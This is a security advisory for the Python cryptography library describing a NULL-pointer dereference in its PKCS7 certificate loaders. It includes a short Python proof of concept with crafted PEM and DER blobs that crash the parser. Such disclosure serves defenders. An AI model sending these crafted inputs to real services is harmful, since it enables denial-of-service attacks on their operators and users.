GHSA-jfhm-5ghh-2f97

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.